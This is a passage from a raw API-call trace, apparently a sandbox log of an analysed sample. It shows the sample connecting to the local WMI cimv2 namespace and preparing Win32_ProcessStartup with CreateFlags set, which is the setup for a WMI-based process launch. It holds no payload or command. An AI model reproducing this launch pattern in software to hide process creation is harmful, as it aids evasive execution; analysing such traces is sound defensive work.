Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2f8 | out: pCid=0x1b10c2f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.640] WbemDefPath:IUnknown:Release (This=0x1b433cd0) returned 0x3 [0129.640] CoGetContextToken (in: pToken=0x1b10c380 | out: pToken=0x1b10c380) returned 0x0 [0129.640] CoGetContextToken (in: pToken=0x1b10c800 | out: pToken=0x1b10c800) returned 0x0 [0129.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8c0 | out: ppvObject=0x1b10c8c0*=0x0) returned 0x80004002 [0129.640] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x2 [0129.640] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x1 [0129.640] CoGetContextToken (in: pToken=0x1b10d5f0 | out: pToken=0x1b10d5f0) returned 0x0 [0129.640] CoGetContextToken (in: pToken=0x1b10d4f0 | out: pToken=0x1b10d4f0) returned 0x0 [0129.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x1b10d650*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d620 | out: ppvObject=0x1b10d620*=0x352580) returned 0x0 [0129.641] WbemDefPath:IUnknown:AddRef (This=0x352580) returned 0x3 [0129.641] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x2 [0129.641] WbemDefPath:IWbemPath:SetText (This=0x352580, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0129.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0129.641] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0129.641] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.641] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10da48 | out: ppv=0x1b10da48*=0x3111d8) returned 0x0 [0129.641] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10da38 | out: pAptType=0x1b10da38*=1) returned 0x0 [0129.641] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10da40 | out: ppvObject=0x1b10da40*=0x0) returned 0x80004002 [0129.641] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.642] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d108 | out: ppv=0x1b10d108*=0x1b433890) returned 0x0 [0129.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433890, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d1f0 | out: ppvObject=0x1b10d1f0*=0x0) returned 0x80004002 [0129.642] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b433890, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d1c8 | out: ppvObject=0x1b10d1c8*=0x1b433770) returned 0x0 [0129.642] WbemLocator:IUnknown:Release (This=0x1b433890) returned 0x0 [0129.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433770, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x1b433770) returned 0x0 [0129.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433770, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d000 | out: ppvObject=0x1b10d000*=0x0) returned 0x80004002 [0129.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433770, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c7f8 | out: ppvObject=0x1b10c7f8*=0x0) returned 0x80004002 [0129.643] WbemLocator:IUnknown:AddRef (This=0x1b433770) returned 0x3 [0129.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433770, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6b8 | out: ppvObject=0x1b10c6b8*=0x0) returned 0x80004002 [0129.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433770, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c640 | out: ppvObject=0x1b10c640*=0x0) returned 0x80004002 [0129.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433770, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c630 | out: ppvObject=0x1b10c630*=0x0) returned 0x80004002 [0129.643] CoGetContextToken (in: pToken=0x1b10c6e0 | out: pToken=0x1b10c6e0) returned 0x0 [0129.643] CoGetContextToken (in: pToken=0x1b10cb60 | out: pToken=0x1b10cb60) returned 0x0 [0129.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433770, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc20 | out: ppvObject=0x1b10cc20*=0x0) returned 0x80004002 [0129.643] WbemLocator:IUnknown:Release (This=0x1b433770) returned 0x2 [0129.643] WbemLocator:IUnknown:Release (This=0x1b433770) returned 0x1 [0129.643] CoGetContextToken (in: pToken=0x1b10d5a0 | out: pToken=0x1b10d5a0) returned 0x0 [0129.643] CoGetContextToken (in: pToken=0x1b10d4a0 | out: pToken=0x1b10d4a0) returned 0x0 [0129.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433770, riid=0x1b10d600*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d5d0 | out: ppvObject=0x1b10d5d0*=0x1b433770) returned 0x0 [0129.644] WbemLocator:IUnknown:AddRef (This=0x1b433770) returned 0x3 [0129.644] WbemLocator:IUnknown:Release (This=0x1b433770) returned 0x2 [0129.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0129.644] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=8, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0129.644] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=8, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.644] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d720 | out: ppv=0x1b10d720*=0x1b433790) returned 0x0 [0129.644] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b433790, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d898 | out: ppNamespace=0x1b10d898*=0x1b4032d0) returned 0x0 [0130.156] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d598 | out: ppvObject=0x1b10d598*=0x1b441d40) returned 0x0 [0130.156] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b441d40, pProxy=0x1b4032d0, pAuthnSvc=0x1b10d660, pAuthzSvc=0x1b10d5e0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4, pImpLevel=0x1b10d5f0, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4 | out: pAuthnSvc=0x1b10d660*=0xa, pAuthzSvc=0x1b10d5e0*=0x0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4*=0x6, pImpLevel=0x1b10d5f0*=0x2, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4*=0x1) returned 0x0 [0130.156] WbemLocator:IUnknown:Release (This=0x1b441d40) returned 0x1 [0130.156] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b441d88) returned 0x0 [0130.157] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b441d40) returned 0x0 [0130.157] WbemLocator:IClientSecurity:SetBlanket (This=0x1b441d40, pProxy=0x1b4032d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0130.157] WbemLocator:IUnknown:Release (This=0x1b441d40) returned 0x2 [0130.157] WbemLocator:IUnknown:Release (This=0x1b441d88) returned 0x1 [0130.157] CoTaskMemFree (pv=0x1b421760) [0130.157] WbemLocator:IUnknown:Release (This=0x1b433790) returned 0x0 [0130.157] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x1b441d88) returned 0x0 [0130.157] WbemLocator:IUnknown:QueryInterface (in: This=0x1b441d88, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d0c0 | out: ppvObject=0x1b10d0c0*=0x0) returned 0x80004002 [0130.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b441d88, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0130.263] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c8b8 | out: ppvObject=0x1b10c8b8*=0x0) returned 0x80004002 [0130.266] WbemLocator:IUnknown:AddRef (This=0x1b441d88) returned 0x3 [0130.266] WbemLocator:IUnknown:QueryInterface (in: This=0x1b441d88, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c778 | out: ppvObject=0x1b10c778*=0x0) returned 0x80004002 [0130.266] WbemLocator:IUnknown:QueryInterface (in: This=0x1b441d88, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c700 | out: ppvObject=0x1b10c700*=0x0) returned 0x80004002 [0130.266] WbemLocator:IUnknown:QueryInterface (in: This=0x1b441d88, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c6f0 | out: ppvObject=0x1b10c6f0*=0x1b441c68) returned 0x0 [0130.267] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b441c68, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c718 | out: pCid=0x1b10c718*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.267] WbemLocator:IUnknown:Release (This=0x1b441c68) returned 0x3 [0130.267] CoGetContextToken (in: pToken=0x1b10c7a0 | out: pToken=0x1b10c7a0) returned 0x0 [0130.267] CoGetContextToken (in: pToken=0x1b10cc20 | out: pToken=0x1b10cc20) returned 0x0 [0130.267] WbemLocator:IUnknown:QueryInterface (in: This=0x1b441d88, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x1b441d50) returned 0x0 [0130.268] WbemLocator:IRpcOptions:Query (in: This=0x1b441d50, pPrx=0x1b441d88, dwProperty=2, pdwValue=0x1b10ccd0 | out: pdwValue=0x1b10ccd0) returned 0x80004002 [0130.268] WbemLocator:IUnknown:Release (This=0x1b441d50) returned 0x3 [0130.268] WbemLocator:IUnknown:Release (This=0x1b441d88) returned 0x2 [0130.268] CoGetContextToken (in: pToken=0x1b10d2e0 | out: pToken=0x1b10d2e0) returned 0x0 [0130.268] CoGetContextToken (in: pToken=0x1b10d1e0 | out: pToken=0x1b10d1e0) returned 0x0 [0130.268] WbemLocator:IUnknown:QueryInterface (in: This=0x1b441d88, riid=0x1b10d340*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d310 | out: ppvObject=0x1b10d310*=0x1b4032d0) returned 0x0 [0130.268] WbemLocator:IUnknown:AddRef (This=0x1b4032d0) returned 0x4 [0130.268] WbemLocator:IUnknown:Release (This=0x1b4032d0) returned 0x3 [0130.268] WbemLocator:IUnknown:Release (This=0x1b4032d0) returned 0x2 [0130.268] SysStringLen (param_1=0x0) returned 0x0 [0130.268] CoGetContextToken (in: pToken=0x1b10d3b0 | out: pToken=0x1b10d3b0) returned 0x0 [0130.268] WbemLocator:IUnknown:AddRef (This=0x1b441d88) returned 0x3 [0130.268] WbemLocator:IUnknown:QueryInterface (in: This=0x1b441d88, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d3b0 | out: ppvObject=0x1b10d3b0*=0x1b441d88) returned 0x0 [0130.269] WbemLocator:IUnknown:Release (This=0x1b441d88) returned 0x3 [0130.269] WbemLocator:IUnknown:Release (This=0x1b441d88) returned 0x2 [0130.269] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=2, puBuffLength=0x1b10dab0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10dab0*=0x15, pszText=0x0) returned 0x0 [0130.269] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=2, puBuffLength=0x1b10dab0*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10dab0*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0130.269] IWbemServices:GetObject (in: This=0x1b4032d0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b10da30*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10da30*=0x1b442160, ppCallResult=0x0) returned 0x0 [0130.276] IWbemClassObject:Get (in: This=0x1b442160, wszName="__PATH", lFlags=0, pVal=0x1b10d9e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10db28*=0, plFlavor=0x1b10db20*=0 | out: pVal=0x1b10d9e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b10db28*=8, plFlavor=0x1b10db20*=64) returned 0x0 [0130.276] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0130.276] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0130.276] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9f8 | out: ppv=0x1b10d9f8*=0x3111d8) returned 0x0 [0130.276] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9e8 | out: pAptType=0x1b10d9e8*=1) returned 0x0 [0130.276] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9f0 | out: ppvObject=0x1b10d9f0*=0x0) returned 0x80004002 [0130.276] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.277] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cde8 | out: ppv=0x1b10cde8*=0x1b433b90) returned 0x0 [0130.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433b90, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ced0 | out: ppvObject=0x1b10ced0*=0x0) returned 0x80004002 [0130.277] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433b90, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cea8 | out: ppvObject=0x1b10cea8*=0x351440) returned 0x0 [0130.278] WbemDefPath:IUnknown:Release (This=0x1b433b90) returned 0x0 [0130.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x351440) returned 0x0 [0130.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0130.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c4d8 | out: ppvObject=0x1b10c4d8*=0x0) returned 0x80004002 [0130.278] WbemDefPath:IUnknown:AddRef (This=0x351440) returned 0x3 [0130.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c398 | out: ppvObject=0x1b10c398*=0x0) returned 0x80004002 [0130.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c320 | out: ppvObject=0x1b10c320*=0x0) returned 0x80004002 [0130.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c310 | out: ppvObject=0x1b10c310*=0x1b433d10) returned 0x0 [0130.278] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433d10, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c338 | out: pCid=0x1b10c338*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.278] WbemDefPath:IUnknown:Release (This=0x1b433d10) returned 0x3 [0130.278] CoGetContextToken (in: pToken=0x1b10c3c0 | out: pToken=0x1b10c3c0) returned 0x0 [0130.278] CoGetContextToken (in: pToken=0x1b10c840 | out: pToken=0x1b10c840) returned 0x0 [0130.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c900 | out: ppvObject=0x1b10c900*=0x0) returned 0x80004002 [0130.278] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x2 [0130.278] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x1 [0130.278] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0130.279] CoGetContextToken (in: pToken=0x1b10d530 | out: pToken=0x1b10d530) returned 0x0 [0130.279] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x1b10d690*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d660 | out: ppvObject=0x1b10d660*=0x351440) returned 0x0 [0130.279] WbemDefPath:IUnknown:AddRef (This=0x351440) returned 0x3 [0130.279] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x2 [0130.279] WbemDefPath:IWbemPath:SetText (This=0x351440, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0130.279] IWbemClassObject:Get (in: This=0x1b442160, wszName="CreateFlags", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bd9b00*=0, plFlavor=0x2bd9b04*=0 | out: pVal=0x1b10da60*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bd9b00*=19, plFlavor=0x2bd9b04*=0) returned 0x0 [0130.279] IWbemClassObject:Get (in: This=0x1b442160, wszName="CreateFlags", lFlags=0, pVal=0x1b10da50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bd9b00*=19, plFlavor=0x2bd9b04*=0 | out: pVal=0x1b10da50*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bd9b00*=19, plFlavor=0x2bd9b04*=0) returned 0x0 [0130.279] IWbemClassObject:Put (This=0x1b442160, wszName="CreateFlags", lFlags=0, pVal=0x1b10dab0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0130.280] 